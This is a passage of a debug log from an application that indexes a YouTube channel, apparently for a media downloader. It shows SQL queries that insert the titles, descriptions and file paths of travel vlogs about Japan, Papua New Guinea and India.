"predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "f067998a-58ef-492c-8df5-b4d3796ac480", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 18:59:50.150 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.151 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 18:59:50.152 [debug] QUERY OK source="media_items" db=1.0ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "fd2add08-7738-4f04-b1f4-79e73c9af793", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 18:59:50.153 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.153 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 18:59:50.155 [debug] QUERY OK source="media_items" db=1.0ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "ef93bb91-af47-442b-a0b4-8c3621cac97a", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 18:59:50.155 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.155 [debug] QUERY OK source="media_items" db=0.3ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 18:59:50.157 [debug] QUERY OK source="media_items" db=0.7ms idle=3.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "52bc9453-a4bb-4874-b308-a282410aa0cc", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 18:59:50.157 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.157 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 18:59:50.158 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "343a2e36-d29b-417a-8cd5-2823ce5446db", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 18:59:50.159 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.159 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 18:59:50.160 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "ada50462-e37a-4548-a5f7-d1505345eb7c", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 18:59:50.161 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.161 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 18:59:50.162 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "c28570d7-8ba9-42de-b550-eb4ae3fb7fc0", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 18:59:50.163 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.163 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 18:59:50.168 [debug] QUERY OK source="media_items" db=4.8ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "5709d766-a75e-4d2d-bbd0-aa3ca4abbb38", "W4ZERiu8IMs", 2973, false, 